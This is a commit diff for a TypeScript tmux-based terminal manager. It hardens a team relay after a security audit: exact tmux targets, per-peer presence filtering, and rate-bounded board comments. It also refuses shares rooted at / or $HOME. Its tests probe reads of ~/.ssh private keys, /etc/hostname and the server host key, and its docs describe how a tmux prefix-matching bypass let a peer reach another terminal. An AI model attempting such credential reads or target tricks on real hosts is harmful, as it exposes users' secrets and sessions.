Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.
TypeScript adhdagent-orchestrationai-agentscanvasclaude-codecodexcoding-agentsdeveloper-toolselectrongeminilinuxmacosmultiplexeropencodeparallel-agentsterminalterminal-emulatorterminal-multiplexertmuxworkspace-manager
fix(relay): presence, context meters, board flooding and home-rooted shares for limited peers
reviewc0cd058db93c
diff --git a/CLAUDE.md b/CLAUDE.mdindex 87d438f59..1578fe0b1 100644--- a/CLAUDE.md+++ b/CLAUDE.md@@ -729,6 +729,21 @@ interferes; status bar off, **mouse on**, 50k history, `set-clipboard on` + `tersessions survive when no client is attached. `src/shared/ssh.ts`'s `remoteTmuxConf` is the sameconfig for an SSH project's remote tmux.+**Exact tmux targets: every node id that becomes a `-t` goes through `exactPaneTarget` (`=name:`) or+`exactSessionTarget` (`=name`)** (`core/tmux-naming.ts`, security audit F1/F2, 2026-10). tmux resolves+a BARE target by exact name, then fnmatch, then PREFIX on a miss, and node ids end in a counter or a+random tail: with only `nt-term-abc-12` alive, `send-keys -t nt-term-abc-1` typed into it,+`capture-pane` read it and `display-message '#{pane_pid}'` named its process (measured, tmux 3.4).+That made every node-keyed verb (send-text, typed chat input, send-keys, capture, pane command/cwd,+pane owner, terminate-foreground, has-session, the control-mode shadow, an attach-only reattach) a way+to reach a DIFFERENT node, whether its own session was gone or the id was a relay peer's invention.+For an existing session `=name:` is the same pane the bare name was (current window, active pane,+re-measured with three windows and a split). An exact miss is `can't find session` (exit 1), except+`display-message`, which exits 0 with every format EMPTY — every parser here answers null for that.+On a REMOTE command line the target is single-quoted: zsh's EQUALS option expands a word starting+with `=`. Proven against a real tmux driving a real `PtyManager` (`pty-exact-target.realtmux.test.ts`).+A new tmux call site owes the same, and both helpers refuse a name `sessionName` did not produce.+**Every REMOTE tmux invocation starts with `remoteTmuxPathPrologue()`** (`shared/ssh.ts` — PATH**append**: `/opt/homebrew/bin`, `/usr/local/bin`, `/opt/local/bin`, `$HOME/.local/bin`): an sshexec channel gets a non-login shell, and on a macOS host Homebrew's `shellenv` lives in@@ -9497,12 +9512,26 @@ unix-socket forward and dev-server `-L` forward over it. POSIX keeps OpenSSH unt- **A Team Access invite that shares ONE project is a boundary, not a label**(`core/relay/scoped-guest-policy.ts`, wired by `main/remote/relay-host.ts` as the core relayhost's hooks). The invite is consent to run commands IN that project, and nothing else: inbound is- an allowlist (`SCOPED`) where a node id must belong only to the shared project (or be one the- guest just created over `canvas:mut` that no project holds yet — the host saves on a debounce, so- a new terminal's first `pty:create` precedes its node on disk), paths realpath inside the project- root and outside userData (symlinks and dangling links refused), `pty:create` loses `sshRemote`- and defaults its cwd to the root, `workspace:save` is refused; outbound reuses the viewer policy's- per-project event/terminal-frame attribution. An unknown channel is refused, and the guard test+ an allowlist (`SCOPED`) where a node id must belong only to the shared project, paths realpath+ inside the project root and outside userData (symlinks and dangling links refused), `pty:create`+ loses `sshRemote` and defaults its cwd to the root, `workspace:save` is refused; outbound reuses+ the viewer policy's per-project event/terminal-frame attribution, presence included (only peers on+ the shared project, no node id outside it — `createPresenceFilter`). **A node id the guest itself+ introduces over `canvas:mut` (one no project holds yet: the host saves on a debounce, so a new+ terminal's first `pty:create` precedes its node on disk) is PENDING, and pending unlocks nothing+ but its own spawn** (security audit F1, 2026-10): its `pty:create` carries `newOnly` (core refuses+ a join, a reattach, and any session that already runs under that name, `unavailable: 'new-only'`),+ and only that create's own `fresh: true` response makes it the guest's node. Until then every+ node-keyed verb and the outbound stream refuse it, even after the host saved it into the project+ (being on the canvas is the guest's own doing, not ownership). Introduced ids are bounded (256) and+ must be `[A-Za-z0-9-]` (`sessionName` rewrites anything else, so two ids could name one tmux+ session). The audit's attack was an SSH-project guest (no local shell granted) recording a PREFIX+ of another project's node id and reaching that LOCAL terminal through tmux prefix matching (see+ "Exact tmux targets" under the tmux section). **A share rooted at the disk root, the home directory+ or an ancestor of either or of userData is never served** (`core/relay/share-root.ts`): every file+ under it would be readable, `~/.ssh` included; the invite UI shows such a project disabled with the+ reason (`relayHost.scopeProblems`), `addSeat` refuses to mint it, and the policy refuses every+ request of such a session. An unknown channel is refused, and the guard testforces a decision for every relay-tab channel. `connectRelayHost` THROWS for a scoped sessiongiven no scope deps rather than serve it unscoped. **What it does not claim**: the guest's ownterminal is a shell as the host's user and can `cd` anywhere or attach another tmux session; the@@ -10083,8 +10112,15 @@ under one `$HOME`, with different bytes; the last writer wins.(and when a session's endpoint is dead, the script's failover can deliver its event to the othercore's endpoint).-**Known limitations** (full list in the doc): non-editors still receive cross-project presence and-`context:update` metadata (deploy one core per team); a viewer's socket backlog over 1 MB still+**Outbound to non-editors, since security audit (a)/(d)/F3/F4:** presence is rewritten per peer+(`createPresenceFilter`: only peers on a shared project, node references outside nulled, joins and+leaves synthesised as a peer moves), `context:update` needs a shared node behind its session (the+payload's `nodeId`, else the mirror's `nodesForAgentSession`; unattributable = dropped), a+Commenter's board comment is reduced to a comment's fields and rate-bounded per peer key+(`append-budget.ts`), and a shared folder that is the disk root, the home directory or an ancestor of+either or of the data dir is not a root at all (`share-root.ts`).++**Known limitations** (full list in the doc): a viewer's socket backlog over 1 MB stillpauses the shared pty through Stage 2 backpressure; the canvas authority's own limits (a project'snon-content fields stay last writer wins between tabs, the share-time window, oversized nodes, boardedits to another core, load-time repairs that are never cast, the GitHub issue summary modal'sdiff --git a/CONTRIBUTING.md b/CONTRIBUTING.mdindex a7c234025..f20c0da21 100644--- a/CONTRIBUTING.md+++ b/CONTRIBUTING.md@@ -283,6 +283,19 @@ anything else. Board-level fields survive every transform — `pullLinks` is one`remoteNodeOwner` or is refused (`not-connected`); `paneCommand` / `paneOwner` resolve unmountednodes only with the explicit `{ resolveUnmounted: true }` option. See Bulk pause in `CLAUDE.md`.+- **A node id never reaches tmux as a bare `-t`.** Use `exactPaneTarget` (`=nt-<id>:`) or+ `exactSessionTarget` (`=nt-<id>`) from `core/tmux-naming.ts`, and single-quote it on a remote+ command line (zsh expands a leading `=`). tmux prefix-matches a bare target on a miss, so `nt-x-1`+ reaches a live `nt-x-12`: a relay peer naming a prefix typed into, read and killed another+ project's terminal (security audit F1/F2). `pty-exact-target.realtmux.test.ts` drives a real+ `PtyManager` to prove it; see "Exact tmux targets" in `CLAUDE.md`.++- **A relay peer's node ids, presence and shared folder are judged host-side.** A scoped guest's+ newly introduced node unlocks only its own `newOnly` spawn, presence reaches a non-editor only for+ peers on its shared projects, and a project rooted at `/`, `$HOME` or an ancestor of either is+ never shared (`core/relay/share-root.ts`). A UI that hides an option is convenience; the policy in+ `core/relay/` is the gate. See "Remote access" and "Hosted team relay" in `CLAUDE.md`.+- **Branch labels describe a checkout on one core.** Share existing status reads through`renderer/state/gitBranches.ts`; do not cache a branch forever by project id or copy a projectbranch onto worktree nodes. Source, Sessions and worktree headers consume the same observations,diff --git a/docs/hosted-team-relay.md b/docs/hosted-team-relay.mdindex c8edf8c03..0b991f3c1 100644--- a/docs/hosted-team-relay.md+++ b/docs/hosted-team-relay.md@@ -506,12 +506,12 @@ session key** in the team store.| `pty:kill` | Detaches the caller's own view; the session keeps running. || `pty:capture`, `pty:read-scrollback`, `pty:pane-command` | Nodes of shared projects only. || `pty:tmux-status` | Allowed. |-| `fs:list`, `fs:read`, `fs:read-binary`, `fs:exists` | The path must be absolute and its **realpath** inside a shared project's cwd (also realpathed). A symlink planted inside the project that points out of it is outside. This server's data directory is refused even when a shared project's folder contains it (a project opened on `$HOME`, say): "Viewers can't read this server's own data folder." It holds the host key, `team.json`, every terminal's scrollback snapshot and the unshared canvases. The same holds for a git cwd, and for the file of a `git:diff`. |+| `fs:list`, `fs:read`, `fs:read-binary`, `fs:exists` | The path must be absolute and its **realpath** inside a shared project's cwd (also realpathed). A symlink planted inside the project that points out of it is outside. A shared project whose folder is the disk root, the home directory, or an ancestor of either or of this server's data directory is **not a root at all** (`core/relay/share-root.ts`, security audit F4): every file under it would be readable, `~/.ssh` included, so nothing under it is. Behind that, this server's data directory is refused wherever a path resolves into it (a symlink planted inside a project): "Viewers can't read this server's own data folder." It holds the host key, `team.json`, every terminal's scrollback snapshot and the unshared canvases. The same holds for a git cwd, and for the file of a `git:diff`. || `git:status`, `git:repo-root`, `git:history` | The cwd is jailed like a file read, **and** the shared project that contains it must be the top folder of its own repository: a `.git` directory that holds `HEAD`, or a worktree's `.git` file. An empty `.git` directory, or a `.git` symlink to a folder that is not a repository, does not count: git skips it and uses the enclosing repository. Otherwise: "Git is available to viewers only in a project that is the top folder of its own repository, never in a subfolder of a larger one." A cwd jail alone does not bound git: `git status` and `git log` report the whole repository, and `git show <ref>:<path>` reads `<path>` from the repository's top level, so from a shared `repo/shared/` a Viewer could read `repo/secret/key.txt`. || `git:diff` | The cwd (with the repository rule above) **and** the file are jailed; a pathspec starting with `:` is refused; an untracked diff (`git diff --no-index`, which diffs any file) needs a real path inside. The file is relative to the cwd, not the repository's top level. || `git:show-file` | The cwd jailed, with the repository rule above; a ref starting with `-` is refused (it would become an option, and `--output=` writes a file). Any other revision is allowed. || `agent:subagent-snapshot` | The response is trimmed to shared nodes. |-| `board-log:read/subscribe/unsubscribe` (+ `append` for Commenters) | Shared projects only. A Commenter's `append` must be a comment (`kind: 'comment'`): an activity entry ("moved a card to Done") is Editor-only. |+| `board-log:read/subscribe/unsubscribe` (+ `append` for Commenters) | Shared projects only. A Commenter's `append` must be a comment (`kind: 'comment'`): an activity entry ("moved a card to Done") is Editor-only. The entry is reduced to a comment's own fields (`id`, `ts`, `author`, `kind`, `text`, `nodeId`), and appends are bounded per peer key (one every 2 s, 32 KiB a minute, `core/relay/append-budget.ts`): the log keeps one rotated generation (4 MiB), and a flood used to rotate the project's real history out of it (security audit F3). |**Which project a node is in** is read from the saved canvases (`WorkspaceStore.projectIdsForNode`).Node ids travel in git-shared project files, so one id can sit in several projects; it counts as@@ -521,9 +521,18 @@ shared only when **every** project holding it is shared, never by whichever comereceives only the events `VIEW_EVENTS` lists: `canvas:mut`, `workspace:external-change` /`server-change` and `project-trust:changed` for shared projects; `agent:status` and`agent:unread-clear` for shared nodes; `agent:subagent-activity` for subagents a shared node-started; `context:update`, `presence:sync` and `presence:peer` for everyone (see-[Limitations](#limitations-v1)); the per-session pty channels, which only a session's subscribers-receive; and `board-log:changed:<id>` / `project-setup:event:<id>` for shared projects.+started; `context:update` for a shared node's agent session (by the payload's `nodeId`, else through+the agent-status mirror's session → node record; an update it cannot attribute is dropped); the+per-session pty channels, which only a session's subscribers receive; and+`board-log:changed:<id>` / `project-setup:event:<id>` for shared projects.++**Presence is rewritten per peer** (`createPresenceFilter`, security audit (a)): `presence:sync` and+`presence:peer` carried every client's project, focused node, typing node, dino node and live cursor+chat for every project on the core, which also told a peer the exact node ids of work it was never+shared. A non-editor now sees only peers whose project is shared, with any node reference outside the+shared projects nulled; a peer moving onto a shared project is announced with a `join` (its cursor+chat from the other project cleared), moving off with a `leave`. Editors get the stream unchanged; a+role change resends the whole list on the next presence event.**A terminal is judged by its node on every frame.** Terminal output and `pty:resync` (a repaint ofthe screen) reach a non-editor only while **every** project holding the session's node is shared.@@ -1164,10 +1173,12 @@ are unchanged.## Limitations (v1)-- **Presence and context metadata cross projects.** Non-editors receive `presence:sync` /- `presence:peer` (focus, project ids, cursor chat of every client on the core) and- `context:update` (token counts and model per agent session) for everything on the core, shared or- not. The recommended deployment is **one core per team**.+- **The facepile does not show peers working elsewhere.** A non-editor's presence is filtered to+ peers on its shared projects (security audit (a), see [Roles](#roles)), so a teammate on an unshared+ project does not appear in its facepile at all, not even as "elsewhere".+- **A context meter needs an attributable session.** `context:update` reaches a non-editor only for a+ session the host's agent-status mirror attributes to a shared node; a session the mirror has not+ seen a hook event for since the host started shows no meter to a Viewer until it does.- **A Viewer can still pause a shared terminal indirectly.** `pty:flow` pauses are refused, but arelay peer whose socket backlog passes 1 MB takes Stage 2's socket-backpressure ticket, whichpauses the shared pty for every subscriber until that backlog drains below 256 KB or the peer@@ -1196,9 +1207,10 @@ are unchanged."No team member has that key." Restart the service: every session is cut, members reconnect ontheir own, and that device becomes a pending request again. (`team rotate-key` also works, butinvalidates every join code.)-- **A board-log comment's author is what the commenter's tab says.** The entry is written as the- client sent it, author included (its presence name and color), so a Commenter can post a comment- under another member's name. The host checks the project and that it is a comment, not who wrote it.+- **A board-log comment's author is what the commenter's tab says.** The entry is written with the+ author the client sent (its presence name and color), so a Commenter can post a comment under+ another member's name. The host checks the project, that it is a comment, its shape and its rate,+ not who wrote it.- **Approved devices have no label** in `team.json` and `team status`, and there is no relabel verb.- **Device mints are shared by the team.** The backend's free device-mint damper (10 per 24 h) iskeyed by the **host's** device id, so every joiner of one team draws from one budget. A devicediff --git a/src/core/agent-status-mirror.ts b/src/core/agent-status-mirror.tsindex 1f95fb652..591108360 100644--- a/src/core/agent-status-mirror.ts+++ b/src/core/agent-status-mirror.ts@@ -2270,6 +2270,19 @@ export function mirrorEntry(nodeId: string): MirrorEntry | undefined {return state.get(nodeId)}+/**+ * Every node whose CURRENT agent session is `sessionId` (usually one; a session resumed in two nodes+ * is two). Read-only peek: the relay access policies attribute a `context:update` — keyed by the+ * agent session, not the node — to the nodes it describes, so a peer limited to some projects+ * receives a meter only for a session that runs in one of them.+ */+export function nodesForAgentSession(sessionId: string): string[] {+ const out: string[] = []+ if (typeof sessionId !== 'string' || !sessionId) return out+ for (const [nodeId, e] of state) if (e.sessionId === sessionId) out.push(nodeId)+ return out+}+/*** The nodes the mirror currently believes are `working`, with the identity a synthetic event needs.* Read-only peek for the shells — the reconnect resync asks the host about exactly these, becausediff --git a/src/core/relay/access-policy.test.ts b/src/core/relay/access-policy.test.tsindex a1543058a..eede255f0 100644--- a/src/core/relay/access-policy.test.ts+++ b/src/core/relay/access-policy.test.ts@@ -58,13 +58,18 @@ describe('access policy', () => {it('commenter may chat and append to a shared board, viewer may not', () => {expect(decideAccess('cast', IPC.presenceChat, ['hi'], ctx('viewer')).allow).toBe(false)expect(decideAccess('cast', IPC.presenceChat, ['hi'], ctx('commenter')).allow).toBe(true)- expect(decideAccess('req', IPC.boardLogAppend, ['P', { kind: 'comment' }], ctx('commenter')).allow).toBe(true)- expect(decideAccess('req', IPC.boardLogAppend, ['Q', { kind: 'comment' }], ctx('commenter')).allow).toBe(false)+ const comment = { id: 'c', ts: 1, kind: 'comment', author: { name: 'A', color: '#fff' }, text: 'hi' }+ expect(decideAccess('req', IPC.boardLogAppend, ['P', comment], ctx('commenter')).allow).toBe(true)+ expect(decideAccess('req', IPC.boardLogAppend, ['Q', comment], ctx('commenter')).allow).toBe(false)})it('M1: a commenter appends COMMENTS only — an activity entry ("moved card to Done") is refused', () => {const COMMENTS_ONLY = 'Commenters can only add comments to the board log.'const entry = (kind: unknown) => ({ id: 'e1', ts: 1, author: { name: 'Owner', color: '#fff' }, kind, event: { type: 'card-moved' } })- expect(decideAccess('req', IPC.boardLogAppend, ['P', entry('comment')], ctx('commenter'))).toEqual({ allow: true })+ // Allowed, and reduced to a comment's own fields (the `event` is dropped — security audit F3).+ expect(decideAccess('req', IPC.boardLogAppend, ['P', entry('comment')], ctx('commenter'))).toEqual({+ allow: true,+ args: ['P', { id: 'e1', ts: 1, author: { name: 'Owner', color: '#fff' }, kind: 'comment' }]+ })expect(decideAccess('req', IPC.boardLogAppend, ['P', entry('event')], ctx('commenter'))).toEqual({ allow: false, message: COMMENTS_ONLY })for (const bad of [undefined, null, 'comment', ['comment'], {}]) {expect(decideAccess('req', IPC.boardLogAppend, ['P', bad], ctx('commenter')).allow, String(bad)).toBe(false)@@ -157,9 +162,14 @@ describe('access policy: the fs jail', () => {expect(decideAccess('req', IPC.fsReadBinary, ['/srv/app/logo.png'], v).allow).toBe(true)})- it('a project whose cwd is the filesystem root still contains its files', () => {+ // Security audit F4: a share rooted at `/` handed a viewer every file on the machine. It is no+ // longer a root at all (share-root.ts); the other shared roots are unaffected.+ it('a project whose cwd is the filesystem root is not a root: nothing under it is readable', () => {const c: AccessContext = { ...ctx('viewer'), projectCwds: () => ['/'] }- expect(decideAccess('req', IPC.fsRead, ['/srv/app/README.md'], c).allow).toBe(true)+ expect(decideAccess('req', IPC.fsRead, ['/srv/app/README.md'], c).allow).toBe(false)+ const both: AccessContext = { ...ctx('viewer'), projectCwds: () => ['/', '/srv/app'] }+ expect(decideAccess('req', IPC.fsRead, ['/srv/app/README.md'], both).allow).toBe(true)+ expect(decideAccess('req', IPC.fsRead, ['/etc/hostname'], both).allow).toBe(false)})it('a cwd that is not absolute is never a root', () => {@@ -336,14 +346,32 @@ describe('outbound filter: deny by default for non-editors', () => {expect(filterOutboundEvent(ev(IPC.githubIssuesChanged('P'), [1]), ctx('viewer'))).toBe(false)})- it('per-session terminal events and presence are delivered', () => {+ it('per-session terminal events are delivered', () => {for (const ch of [IPC.ptyExit('s'), IPC.ptySize('s'), IPC.ptyClosed('s'), IPC.ptyRecycled('s'), IPC.ptyResync('s')]) {expect(filterOutboundEvent(ev(ch, 0), ctx('viewer')), ch).toBe(true)}expect(filterOutboundEvent(JSON.stringify({ t: 'ev', channel: IPC.ptyRecycled('s'), args: [] }), ctx('viewer'))).toBe(true)- expect(filterOutboundEvent(ev(IPC.presenceSync, []), ctx('viewer'))).toBe(true)- expect(filterOutboundEvent(ev(IPC.presencePeer, {}), ctx('viewer'))).toBe(true)- expect(filterOutboundEvent(ev(IPC.contextUpdate, { sessionId: 'x', usedPercent: 3 }), ctx('viewer'))).toBe(true)+ })++ // Security audit (a)/(d): presence and context:update named every project's work. Presence is only+ // delivered through the per-peer filter (`createPresenceFilter`, tested below); through the+ // stateless table it is dropped. A context update needs a SHARED node behind it.+ it('presence never passes the stateless table; context:update only for a shared node\'s session', () => {+ expect(filterOutboundEvent(ev(IPC.presenceSync, []), ctx('viewer'))).toBe(false)+ expect(filterOutboundEvent(ev(IPC.presencePeer, {}), ctx('viewer'))).toBe(false)+ expect(filterOutboundEvent(ev(IPC.presenceSync, []), ctx('editor'))).toBe(true)+ // No node, no way to attribute it: dropped.+ expect(filterOutboundEvent(ev(IPC.contextUpdate, { sessionId: 'x', usedPercent: 3 }), ctx('viewer'))).toBe(false)+ expect(filterOutboundEvent(ev(IPC.contextUpdate, { nodeId: 'n1', sessionId: 'x' }), ctx('viewer'))).toBe(true)+ expect(filterOutboundEvent(ev(IPC.contextUpdate, { nodeId: 'n2', sessionId: 'x' }), ctx('viewer'))).toBe(false)+ const withMirror: AccessContext = {+ ...ctx('viewer'),+ nodesOfAgentSession: (sid) => (sid === 'shared-s' ? ['n1'] : sid === 'other-s' ? ['n2'] : sid === 'both-s' ? ['n1', 'n2'] : [])+ }+ expect(filterOutboundEvent(ev(IPC.contextUpdate, { sessionId: 'shared-s' }), withMirror)).toBe(true)+ expect(filterOutboundEvent(ev(IPC.contextUpdate, { sessionId: 'other-s' }), withMirror)).toBe(false)+ expect(filterOutboundEvent(ev(IPC.contextUpdate, { sessionId: 'both-s' }), withMirror)).toBe(false)+ expect(filterOutboundEvent(ev(IPC.contextUpdate, { sessionId: 'nobody' }), withMirror)).toBe(false)})it('an unread clear names a node', () => {@@ -462,8 +490,8 @@ describe('wrapSinkForRole', () => {const w = wrapSinkForRole(sink, () => {throw new Error('team store unreadable')})- expect(() => w.sendText(JSON.stringify({ t: 'ev', channel: IPC.presencePeer, args: [{}] }))).not.toThrow()- expect(() => w.sendText(JSON.stringify({ t: 'ev', channel: IPC.presencePeer, args: [{}] }))).not.toThrow()+ expect(() => w.sendText(JSON.stringify({ t: 'ev', channel: IPC.presencePeer, args: [{ op: 'leave', clientId: 1 }] }))).not.toThrow()+ expect(() => w.sendText(JSON.stringify({ t: 'ev', channel: IPC.agentStatus, args: [{ nodeId: 'n1' }] }))).not.toThrow()expect(text).toEqual([])expect(warn).toHaveBeenCalledTimes(1)} finally {@@ -472,6 +500,108 @@ describe('wrapSinkForRole', () => {})})+describe('presence through wrapSinkForRole (security audit (a))', () => {+ const peer = (clientId: number, projectId: string | null, extra: Record<string, unknown> = {}) => ({+ clientId, name: `p${clientId}`, color: '#5ac8fa', cursor: null, focus: null, chat: null,+ typing: null, projectId, dino: null, kind: 'desktop', ...extra+ })+ const pev = (channel: string, arg: unknown) => JSON.stringify({ t: 'ev', channel, args: [arg] })+ const rig = (role: () => AccessContext['role']) => {+ const got: Array<{ channel: string; arg: unknown }> = []+ const w = wrapSinkForRole(+ { sendText: (j) => { const m = JSON.parse(j); got.push({ channel: m.channel, arg: m.args[0] }) }, sendBinary: () => {} },+ () => ctx(role())+ )+ return { w, got }+ }+ it('a viewer sees only the shared project\'s peers; an editor sees everyone, verbatim', () => {+ const sync = pev(IPC.presenceSync, [peer(1, 'Q', { focus: 'n2', chat: 'private' }), peer(2, 'P', { focus: 'n2', typing: { nodeId: 'n1', at: 1 } })])+ const v = rig(() => 'viewer')+ v.w.sendText(sync)+ expect(v.got).toEqual([{ channel: IPC.presenceSync, arg: [expect.objectContaining({ clientId: 2, focus: null, typing: { nodeId: 'n1', at: 1 } })] }])+ const e = rig(() => 'editor')+ e.w.sendText(sync)+ expect(e.got).toEqual([{ channel: IPC.presenceSync, arg: JSON.parse(sync).args[0] }])+ })+ it('a commenter\'s view follows the peer across projects, and a role change resends the whole picture', () => {+ let role: AccessContext['role'] = 'commenter'+ const r = rig(() => role)+ r.w.sendText(pev(IPC.presenceSync, [peer(1, 'P'), peer(2, 'Q')]))+ r.got.length = 0+ r.w.sendText(pev(IPC.presencePeer, { op: 'update', clientId: 2, patch: { chat: 'Q chat' } }))+ r.w.sendText(pev(IPC.presencePeer, { op: 'update', clientId: 1, patch: { projectId: 'Q' } }))+ expect(r.got).toEqual([{ channel: IPC.presencePeer, arg: { op: 'leave', clientId: 1 } }])+ r.got.length = 0+ role = 'editor'+ r.w.sendText(pev(IPC.presencePeer, { op: 'update', clientId: 2, patch: { chat: 'again' } }))+ expect(r.got).toEqual([{ channel: IPC.presenceSync, arg: [expect.objectContaining({ clientId: 1 }), expect.objectContaining({ clientId: 2, chat: 'again' })] }])+ r.got.length = 0+ role = 'viewer'+ r.w.sendText(pev(IPC.presencePeer, { op: 'update', clientId: 2, patch: { chat: 'x' } }))+ expect(r.got).toEqual([{ channel: IPC.presenceSync, arg: [] }])+ })+ it('an update for a peer it never saw, and anything malformed, is dropped', () => {+ const r = rig(() => 'viewer')+ r.w.sendText(pev(IPC.presenceSync, []))+ r.got.length = 0+ r.w.sendText(pev(IPC.presencePeer, { op: 'update', clientId: 77, patch: { projectId: 'P' } }))+ r.w.sendText(pev(IPC.presencePeer, 'nonsense'))+ r.w.sendText(pev(IPC.presenceSync, 'nonsense'))+ expect(r.got).toEqual([])+ })+})++describe('board comments from a Commenter (security audit F3)', () => {+ const COMMENT = { id: 'c1', ts: 1, kind: 'comment', author: { name: 'Ada', color: '#fff' }, text: 'hi', nodeId: 'n1' }+ it('only the fields a comment has are written; padding is dropped', () => {+ const d = decideAccess('req', IPC.boardLogAppend, ['P', { ...COMMENT, pad: 'A'.repeat(1_000_000), event: { type: 'card-moved' } }], ctx('commenter'))+ expect(d).toEqual({ allow: true, args: ['P', COMMENT] })+ })+ it('a malformed or oversized comment is refused', () => {+ for (const bad of [+ { ...COMMENT, id: '' },+ { ...COMMENT, ts: 'now' },+ { ...COMMENT, author: 'Ada' },+ { ...COMMENT, author: { name: 'x'.repeat(500), color: '#fff' } },+ { ...COMMENT, text: 42 },+ { kind: 'comment' }+ ]) {+ expect(decideAccess('req', IPC.boardLogAppend, ['P', bad], ctx('commenter')).allow, JSON.stringify(bad).slice(0, 60)).toBe(false)+ }+ const long = decideAccess('req', IPC.boardLogAppend, ['P', { ...COMMENT, text: 'y'.repeat(100_000) }], ctx('commenter'))+ expect(long.allow && ((long.args?.[1] as { text: string }).text.length)).toBeLessThan(20_000)+ })+})++describe('a shared folder that is the home directory or the disk root is not a root (security audit F4)', () => {+ it('a viewer reads nothing under it, ~/.ssh included', () => {+ const home = fs.mkdtempSync(path.join(os.tmpdir(), 'authz-home-'))+ try {+ fs.mkdirSync(path.join(home, '.ssh'))+ fs.writeFileSync(path.join(home, '.ssh', 'id_ed25519'), 'PRIVATE KEY')+ fs.mkdirSync(path.join(home, 'proj'))+ fs.writeFileSync(path.join(home, 'proj', 'README.md'), 'ok')+ const rp = (p: string): string | null => {+ try {+ return fs.realpathSync(p)+ } catch {+ return null+ }+ }+ const at = (cwd: string): AccessContext => ({+ ...ctx('viewer'), projectCwds: () => [cwd], homeDir: home, hostDataDir: path.join(os.tmpdir(), 'no-data'), realpath: rp+ })+ expect(decideAccess('req', IPC.fsRead, [path.join(home, '.ssh', 'id_ed25519')], at(home)).allow).toBe(false)+ expect(decideAccess('req', IPC.fsRead, [path.join(home, '.ssh', 'id_ed25519')], at(path.dirname(home))).allow).toBe(false)+ expect(decideAccess('req', IPC.fsRead, ['/etc/hostname'], at('/')).allow).toBe(false)+ // A project folder below the home directory is a root as before.+ expect(decideAccess('req', IPC.fsRead, [path.join(home, 'proj', 'README.md')], at(path.join(home, 'proj'))).allow).toBe(true)+ } finally {+ fs.rmSync(home, { recursive: true, force: true })+ }+ })+})+describe('narrowResponseForRole', () => {const snapshot = [{ kind: 'subagent-start', nodeId: 'n1', toolUseId: 't1', taskLabel: 'shared task' },@@ -760,36 +890,38 @@ describe('access policy: a node id held by more than one project (M4)', () => {// scrollback snapshots and the unshared inline canvases. The data directory is never readable by a// non-editor, whatever shared root holds it.describe('access policy: the server data directory is never readable by a non-editor (M7)', () => {- const HOST_DATA = "Viewers can't read this server's own data folder."+ // A share that CONTAINS the data directory (a share of `$HOME`, which is where it lives by default)+ // used to be served with the data directory jailed out file by file. Since security audit F4 such a+ // folder is not a root at all (share-root.ts): `~/.ssh` sits beside the data directory, not in it.const home = (role: AccessContext['role']): AccessContext => ({...ctx(role),projectCwds: () => ['/home/u'],+ homeDir: '/somewhere/else',hostDataDir: '/home/u/.nodeterm-server',realpath: (p) => (p === '/home/u/data-link' ? '/home/u/.nodeterm-server' : p.startsWith('/home/u/data-link/') ? '/home/u/.nodeterm-server' + p.slice('/home/u/data-link'.length) : p)})- it('fs reads, lists and existence checks inside it are refused with the reason; the rest of the root is not', () => {+ it('a share that contains it is not a root: its files, the data dir\'s, and git under it are refused', () => {const v = home('viewer')for (const m of [IPC.fsRead, IPC.fsReadBinary, IPC.fsExists]) {- expect(decideAccess('req', m, ['/home/u/.nodeterm-server/relay/host-key.json'], v), m).toEqual({ allow: false, message: HOST_DATA })+ expect(decideAccess('req', m, ['/home/u/.nodeterm-server/relay/host-key.json'], v).allow, m).toBe(false)}- expect(decideAccess('req', IPC.fsList, ['/home/u/.nodeterm-server'], v)).toEqual({ allow: false, message: HOST_DATA })- expect(decideAccess('req', IPC.fsRead, ['/home/u/notes.txt'], v)).toEqual({ allow: true })- expect(decideAccess('req', IPC.fsList, ['/home/u'], v)).toEqual({ allow: true })- // A sibling whose name starts the same is not inside it.- expect(decideAccess('req', IPC.fsRead, ['/home/u/.nodeterm-server2/x'], v)).toEqual({ allow: true })- })-- it('a symlink inside the shared root that points into it is refused too', () => {- expect(decideAccess('req', IPC.fsRead, ['/home/u/data-link/team.json'], home('commenter'))).toEqual({ allow: false, message: HOST_DATA })+ expect(decideAccess('req', IPC.fsList, ['/home/u/.nodeterm-server'], v).allow).toBe(false)+ expect(decideAccess('req', IPC.fsRead, ['/home/u/notes.txt'], v).allow).toBe(false)+ expect(decideAccess('req', IPC.fsRead, ['/home/u/data-link/team.json'], home('commenter')).allow).toBe(false)+ expect(decideAccess('req', IPC.gitStatus, ['/home/u/.nodeterm-server'], v).allow).toBe(false)+ expect(decideAccess('req', IPC.gitDiff, ['/home/u', '.nodeterm-server/relay/team.json', false, true], v).allow).toBe(false)})- it('git reads cannot reach it either: a cwd inside it, or a diffed file inside it', () => {- const v = home('viewer')- expect(decideAccess('req', IPC.gitStatus, ['/home/u/.nodeterm-server'], v)).toEqual({ allow: false, message: HOST_DATA })- expect(decideAccess('req', IPC.gitDiff, ['/home/u', '.nodeterm-server/relay/team.json', false, true], v)).toEqual({ allow: false, message: HOST_DATA })- expect(decideAccess('req', IPC.gitDiff, ['/home/u', '.nodeterm-server/relay/team.json', false, false], v)).toEqual({ allow: false, message: HOST_DATA })- expect(decideAccess('req', IPC.gitDiff, ['/home/u', 'src/a.ts', false, false], v)).toEqual({ allow: true })+ it('the per-file jail still stands behind it: a symlink from a shared root into the data dir is refused', () => {+ const c: AccessContext = {+ ...ctx('viewer'),+ projectCwds: () => ['/srv/app'],+ hostDataDir: '/var/lib/nt-data',+ realpath: (p) => (p.startsWith('/srv/app/data-link') ? '/var/lib/nt-data' + p.slice('/srv/app/data-link'.length) : p)+ }+ expect(decideAccess('req', IPC.fsRead, ['/srv/app/data-link/relay/host-key.json'], c).allow).toBe(false)+ expect(decideAccess('req', IPC.fsRead, ['/srv/app/README.md'], c)).toEqual({ allow: true })})it('a data directory configured through a symlink is compared by its real path', () => {@@ -799,8 +931,9 @@ describe('access policy: the server data directory is never readable by a non-edhostDataDir: '/srv/nt-link',realpath: (p) => (p === '/srv/nt-link' ? '/data/nt' : p)}- expect(decideAccess('req', IPC.fsRead, ['/data/nt/relay/host-key.json'], c)).toEqual({ allow: false, message: HOST_DATA })- expect(decideAccess('req', IPC.fsRead, ['/data/other.txt'], c)).toEqual({ allow: true })+ // `/data` contains the data dir's REAL path, so it is not a root.+ expect(decideAccess('req', IPC.fsRead, ['/data/nt/relay/host-key.json'], c).allow).toBe(false)+ expect(decideAccess('req', IPC.fsRead, ['/data/other.txt'], c).allow).toBe(false)})it('editors are 